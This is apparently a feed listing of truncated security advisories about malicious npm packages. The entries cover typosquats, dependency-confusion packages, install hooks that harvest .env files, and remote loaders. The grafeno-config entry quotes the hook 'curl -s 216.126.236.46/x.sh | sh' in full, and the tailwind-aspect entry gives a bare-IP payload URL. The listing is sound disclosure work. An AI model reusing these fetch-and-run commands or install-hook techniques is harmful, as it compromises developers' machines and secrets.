Malicious code in otel-span-adapter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9e800a0d88fb9a757c0ca5ecc09f0217522e72575d3e570a87c167090740de7d The package presents itself as an OpenTelemetry span adapter but on module load schedules a bootstrap routine via setImmediate that reads...

Malicious code in id79-client (npm)

This package is part of a malicious npm campaign published by the biz44 account. Importing the package automatically launches a detached JavaScript loader that retrieves and executes additional code from npoint.io. The retrieved payload communicates with an attacker-controlled server and implemen...

MAL-2026-16096 Malicious code in soltinel-pro (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 01f489c47a35cb393c976988c8f12eb9b47cddac13ae4112b019adad4eefb646 postinstall.cjs is declared as the package.json postinstall script and runs automatically on npm install. The script walks parent directories for.env...

Malicious code in oce-configurator-wireless-frontend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 191e4a78bf46781b56b290aac7b804fd9470b1ac189896b950afbaba548183e6 Package name resembles an internal Swisscom OCE package and is published at version 9999.0.0 to win resolution against a private registry. The...

Malicious Package

Overview eerieangelfish0xrequest is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this packa...

Malicious Package

Overview cz-conventional-changelog-phenomic-uninstall-phoebe is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that...

Malicious code in tailwind-aspect (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6ba6037f5f2f65c0ceef0ba5bd8da931b7860a85e7a38fb2703ad4cd7672ddf The package's main entrypoint unconditionally downloads a JavaScript file from the hardcoded plain-HTTP bare-IP URL http://23.27.245.100/index.js,...

Malicious code in easypanel-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4cb013a465c19126feba2006a81f33d65cc64b269e3da8ffe4e8284c7defa3cc easypanel-core ships an inert module.exports = main and places all functionality in a preinstall lifecycle script. On npm install, preinstall.js...

Malicious code in mcp-consultasdeveiculos-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bb4363d5425f97beac0872e7e266983ebf4734da51c66ff674227108762c762c Package bin/main script, invoked as npx -y mcp-consultasdeveiculos-client --token per the referenced upstream project's public instructions, reads...

Malicious code in @yane88/term-reqable-02 (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 3c0e2129fbf1e7a2da4c71b24bbd38abade289a0f9aa576bacefb53566046cc8 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-15504 Malicious code in grafeno-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain...

MAL-2026-14845 Malicious code in 3layerdipstacknlxzr (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware dbaaf251a15ce72a43a3df8c552d709dee503a228e8d3bba039bd222d9c9dc51 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-14755 Malicious code in 3layerdipstackfooret (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c6a96b773b8a52501913b2bbbba6dcfb0bc50211ed6588fcd849bdacde6182d3 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14902 Malicious code in 3layerdipstackrbupl (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware a2d58b856ecf369488e1206ba7930feb0f01af2946ee7756f1c57529f1cb50f2 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-14725 Malicious code in 3layerdipstackdflm1d (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a6172d737d2a73623ba613f52479bd0c78b05544c490b691dddc8e1ed83f18c4 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstack5r1sh (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware f1f67e162ddfc4642cd0384a6bed40262ff6f4b5a0dedab2b449f44ad4275bcb Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in classlink-ewfmy87w (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware a08d00897948c224cce6689dde02dd66a932fcf4b555b496fbed06fe79bd5f40 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-15030 Malicious code in classlink-5ymxe9bn (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 05225404758e6216b5c0d0e9cd6ab69193f0529df309fff7653637f588c84537 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in secure-test-browser-95spzg4v (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware e94b6fc146ab19950997e8bbaf2c72f6934cb75a9d424ee2fbd53187b9c41dbd Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in ndmfguyhoxc3 (npm)

Published as part of a ClickFix-style fake-CAPTCHA phishing campaign documented by OX Security see reference. The package's only file is index.html, declared as the npm "main" entry; package.json defines no preinstall/install/postinstall/prepare lifecycle script, so the payload does not execute a...